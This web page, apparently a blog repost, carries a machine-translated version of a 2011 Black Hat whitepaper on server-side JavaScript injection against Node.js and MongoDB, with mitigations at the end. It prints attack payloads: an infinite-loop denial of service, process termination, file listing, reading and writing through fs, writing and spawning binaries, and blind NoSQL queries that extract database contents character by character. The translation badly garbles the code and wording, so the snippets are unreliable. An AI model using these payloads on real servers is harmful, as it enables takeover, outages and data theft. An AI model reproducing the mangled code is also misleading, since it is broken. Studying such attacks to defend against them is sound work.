Server Side JavaScript Code injection attack service-side JS injection attack

Source: Internet
Author: User
Tags sql injection attack sql injection defense couchdb

Today, the scanner mistakenly reported the flaw, I think it is a false alarm.

Take the opportunity to understand, as if for the NoSQL and Nodejs service side, I think it may be JS for Nodejs is executable code, that is, arbitrary code execution, such an attack.

There's a http://stackoverflow.com/questions/27879131/server-side-javascript-code-injection-attack on StackOverflow.

Coincidentally, it seems that I and he used the same scan tool, with the same problem.

Look at the answer, the main idea is to agree with his ASPX may have this loophole, I think this is a false alarm.

Find a PDF to introduce this attack, special translation

Original: Https://media.blackhat.com/bh-us-11/Sullivan/BH_US_11_Sullivan_Server_Side_WP.pdf

Server-side JavaScript injection

Brain Shaliven, senior security researcher, Adobe Security software engineering team, 2011 July

Profile

This white paper is written to support the issue of Black Hat USA2011, "server-side JavaScript injection: Attack NoSQL and node. js." This article and the accompanying talks will discuss security vulnerabilities that may arise in software developers creating JavaScript-based server applications, such as NoSQL database engines and node. JS Web servers. In the worst case scenario, an attacker could exploit these vulnerabilities to upload and execute arbitrary binaries on the server and take full control of the server.

(Well, I don't care about the typography and the colors-I Stay)


The client layer of a JavaScript Web application is widely used (such as a browser) for many years to provide a richer, more desktop-like user experience. But in recent years, the interest in JavaScript is not just the client-side code, everyone on the code server interest surge. There are now server-side JavaScript (or SSJS) database server features (such as COUCHDB), File server (Opera Unite), and Web Server (node. js).
Of course, many new interests can be attributed to the huge performance gains recently made by JavaScript engine developers. The competition between Microsoft, Mozilla, Apple, Google and Opera, in order to build the fastest browser, led to the JavaScript engine running much faster than the previous versions. While it may not be feasible to build a full-featured Web server based on JScript from a performance standpoint, like iE6 (for example), it's a whole different issue, and Firefox 4 targets it.
Another possible impetus for this shift is familiarity: Many Web developers already have a lot of experience in building client-side JavaScript capabilities, and historically these people have been relegated to writing Web application front ends. But moving to the SSJS backend has the potential to allow organizations to take a better talent pool--using the inside of the elderly.
Background: Client-side JavaScript injection (aka Cross-site scripting)
Although SSJS has tangible benefits, butbecause they are client-side codeOne isexistA serious disadvantage that can be exploited to execute the script injection vulnerability on the server is equally easy to inadvertently introduce server-side application code, and the impact of server-side JavaScript injection is more critical and disruptive.
Client-side JavaScript injection vulnerabilities are better known as "cross-site Scripting" (or XSS) with their more common name. The impact of an XSS vulnerability could be
Very harmful: XSS is always responsible for session hijacking/identity theft (stealing sessions and/or from Dom cookies), phishing attacks (injecting a fake login dialog box into the host application Legal page), keystroke logging, and Borer (MySpace/Sammy, etc.).

The Open web App Security Project (OWASP) is currently the second most dangerous threat to XSS rankings, Web applications (after SQL injection), and 2011 cwe/ Sans ranked the top 25 most dangerous software bugs in XSS ranking as the 4th threat (from a drop in the 2010 List # #).


XSS vulnerabilities are not only extremely dangerous, but are very common in extreme tweaker. Web Application Security Statistics Report 1, published by the Web Application Security Alliance (WASC) in 2008, estimates that global Web site 39% contains at least one XSS vulnerability. The recent independent study of Whitehat Security2 and Cenzic3 of both sides shows a larger percentage: Whitehat estimates that 64% of websites are vulnerable to XSS, Cenzic An estimated 68% vulnerability rate.


One reason is that XSS is so common that it is so easy to accidentally introduce application code. Consider the client's JavaScript code to handle stock quote requests. (The code uses JSON as the message format and XMLHttpRequest as the request object.) )

(Google translated it All)--not change, the following is the original Google Translate content
<HTML> ...
<SCRIPT>
VAR xhr= new XMLHttpRequest (); xhr.onreadystatechange= function () {
if ((xhr.readystate==4) && (xhr.status==200)) {VAR stockinfo= eval ("(" + xhr.responsetext+ ') '); Alarm ("Current price" + stockinfo.symbol+
"is $ ' + stockinfo.price);
}}
function MakeRequest (tickersymbol) {Xhr.open ("POST", "Stock_service", true); Xhr.send ("{\" symbol \ ": \" "+ tickersymbol+" \ "}");
}
</Script>
<HTML>


This code looks simple, but Eval may introduce a serious vulnerability. If an attacker is able to influence a response from the stock market to inject script code, the call eval will execute script code in the context of the victim ' s browser. At this point attacker's most likely move is to extract the pages of the DOM to any authentication or session cookie and send them back to themselves so that he can assume the victim's identity and replace his session.


1 http://projects.webappsec.org/w/page/ 13246989/web-application-security-statistics
2 https://www.whitehatsec.com/home/assets/WPstats_winter11_ 11th.pdf?doc=wpstats_winter11_11th3 http://www.cenzic.com/downloads/Cenzic_AppSecTrends_Q1-Q2-2010.pdf
?
A new vector: server-side JavaScript injection
is now considered to be designed to parse the request with JSON, but the code executes a very similar block of JavaScript code that implements a node. JS Web server at the server level.
Var http= required ("HTTP"); Http.createserver (function (request, response) {
if (request.method=== ' POST ') {
VAR data = ';
Request.addlistener (' Data ', function (block) {data + = Block;} );
Request.addlistener (' End ', function () {
Variant stockquery= eval ("(" + Data + ")"); Getstockprice (Stockquery.symbol);
...} );


The code in the same line (eval that passes in the JSON data) is responsible as an injection vulnerability in the previous client instance in this segment. However, in this case, the impact of the vulnerability is much more serious than the victim's cookie leak.
For example, suppose in this case a legitimate, non-malicious JSON message, the stock quote service looks like this:
{"symbol": "AMZN"}
For Eval, call the evaluation string:
({"Symbol": "AMZN"})
In this case, however, nothing can prevent an attacker from simply sending their own JavaScript code in place of a normal JSON message. For example, he could send:
To Response.End ("success")
The server code executes this command injection and returns the text "success" as the body of the HTTP response. If an attacker sends this probe request and receives a "success" response, he knows that the server will execute his random JavaScript, and he can continue to send some more destructive attacks.


Denial of Service


A valid attack on a denial of service can simply be performed by sending a command:
and (1)
This attack will cause the target server to use its processor 100% of the time to process an infinite loop. The server hangs and cannot process any other incoming requests until the administrator manually restarts the process.
It's worth mentioning how this Dos attack is asymmetric. The attacker doesn ' t needs to overwhelm the target's millions of requests; instead, using only one eight-byte payload single HTTP request is sufficient to disable the target.
Another Dos attack is simply to quit or terminate a running process:
Process.exit ()
Process.kill (Process.pid)


File system access


Another potential target for an attacker might be to read the contents of a file from the local system. node. JS (and some NoSQL database engines, such as COUCHDB) use the Commonjs API; File system access support (by requiring keywords) of the "FS" module, including:
Variant fs= requirements ("FS");
The new module can be require ' d at any time, so if the current run script does not originally include the file system access functionality (for example), the attacker can simply add the function by including the appropriate request command along with the payload of his attack. The attacks listed below are the contents of the current directory and the parent directory, respectively:
to Response.End ("FS"). Readdirsync ('. ‘)。 ToString ()) to Response.End ("FS"). Readdirsync ('.. ') )。 The ToString ())
From here, this is a simple thing to build the complete directory structure of the entire file system. To list the actual contents of a file, the attacker issues the following command:
to Response.End ("FS"). Readfilesync (file name))
However, not only can the attacker read the contents of the file, but he can also write to them. This attack pre-considers the string "black" to the beginning of the currently executing file-although, of course, more malicious attacks are possible.
Variant fs= requirements ("FS");
Variant currentfile= process.argv[1]; Fs.writefilesync (currentfile,
' black ' + fs.readfilesync (currentfile));
Finally, we notice that you can also create arbitrary files on the target server, including binary executables:
Requires ("FS") writefilesync (file name, data, "BASE64").
where filename is the generated file name (such as "Foo.EXE") and the data is the base-64 encoded content that will be written to the new file. The attacker now only needs a way to execute this binary server, as we'll show in the next section.

Execution of binary files

Now that the attacker has written his attack on the binary to the server, he needs to go and execute it. The payload of our ultimate server-side demo JavaScript injection attack illustrates how he can do that.
Requires (' child_process ') spawning (filename).
At this point, any further exploits are only limited by the imagination of attacker ' s.

The NoSQL injections

server-side JavaScript injection vulnerability is not limited to the node. JS script inside the call eval. The NoSQL database engine that handles user-specified parameters that contain JavaScript can also be vulnerable. MongoDB, for example, supports the use of JavaScript features for querying specifications and maps/reduced operations. Because MongoDB databases, such as other NoSQL databases, do not have a strict definition of the database schema, the query syntax using JavaScript allows developers to write arbitrarily complex queries against different document structures.
For example, let's say we have a collection of MongoDB that contains some files representing books, some files equivalent to movies, and some files representing music albums. This JavaScript query feature selects all documents that are not written, photographed, or recorded in the specified collection for the specified year:
function () {
VAR search_year= will input_value;
Back to this.publicationyear== search_year| |
this.filmingyear== search_year| | this.recordingyear== search_year;
}
If the application developer is building in PHP (for example) the source code for this application might be:
$ query = "function () {VAR search_year=\ '". $_get [' Year '. ‘\‘;‘。
"Return this.publicationyear== search_year| |".
"this.filmingyear== search_year| |".
"this.recordingyear== search_year;}";
$ cursor =$ series-> Found (Array (' =>$ query '));
This code uses the "year" request parameter as the value of the search parameter. However, as in traditional SQL injection attacks, because the query syntax is an ad hoc approach (such as querying user input along the lines of syntax), the code is vulnerable to server-side JavaScript injection attacks. For example, this requirement is a valid DOS attack against the system:
? HTTP://server/app.php year = 1995 "; and (1); var%20foo= ' Bar

The NoSQL blind

Another possible attack vector using a SSJS injection attack against a NoSQL database is to use a blind nosql injection to extract the entire contents of a NoSQL database. In order to demonstrate how the attack might work, let's continue with the example of MongoDB just now.
To perform any kind of successful blind injection attack, an attacker would need to see the difference between the server's reaction condition and the false condition of its response. This is trivial, done by injecting Ssjs, and is actually even simpler than the classic "or1=1" SQL injection attack:
? HTTP://server/app.php year = 1995 '; return (true); Enter http://server/app.php year = 1995 ' in var%20foo= ' column; return (false); Var%20foo= "Bar
If there is any difference in the server's response between the two jets, then the attacker can now "ask" for any real/false "problem" of the server and raise enough questions that he will be able to extract the entire contents of the library.
The first question to ask is, how many collections are in the database? Or more accurately, is there only one database in the collection? Or is there an exact two collection in the database? such as
Return (db.getcollectionnames () = = length 1); return (db.getcollectionnames () = = length 2); ...
Once an attacker has established how many collections exist, the next step is to determine their names. He examines each collection name in an array, first to determine the length of the name, and then to determine the name itself one character time:
Return (Db.getcollectionnames () [0].length== 1]; return (Db.getcollectionnames () [0].length==2]; ...
Return (Db.getcollectionnames () [0] [0]== ' one '); return (Db.getcollectionnames () [0] [0] = = ' B '); ...
Once the collection name has been extracted, the next step is to obtain data collection. Again, the attacker first needs to determine how many documents are in each group (the name of the first set in this embodiment is "foo"):
Return (Db.foo.find () the length = = 1); return (db.foo.find () = = length 2); ...
In a traditional blind SQL injection attack, at this point the next step will be to determine the column structure of each table. However, the concept of a column structure does not mean a lack of a common schema in a NoSQL database document. Each document in the collection can have a completely different structure from every other file. However, this fact does not require additional protection from the extracted database content. An attacker simply calls the "Tojsononeline" method to return the document content as a JSON string, and then extracts the data one character at a time:
Return (Tojsononeline (Db.foo.find () [0]) of length ==1); return (Tojsononeline (Db.foo.find () [0]) length ==2); ...
Return (Tojsononeline (Db.foo.find () [0]) [0]== ' one '); return (Tojsononeline (Db.foo.find () [0]) [0]== ' B '); ...
Ultimately, this method will produce the entire contents of each file in each collection in the database.


Conclusions and mitigation

It should be noted that the server-side JavaScript injection vulnerability is more like the exploitation of SQL injection than cross-site scripting. SSJS injections do not require an intermediary victim to reflect XSS or DOM-based XSS for any social engineering; instead, an attacker could attack an application directly with any HTTP request that was created.
Because of this, the SSJS injection defense is similar to SQL injection defense:
? Avoid creating a "point-to-point" javascript command that is entered with the user through a connection script.
Ssjs the command used to validate a regular expression for user input.
? Avoid using the eval command for JavaScript. In particular, when parsing
JSON input, using a more secure alternative, such as Json.parse.

Server Side JavaScript Code injection attack service-side JS injection attack

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.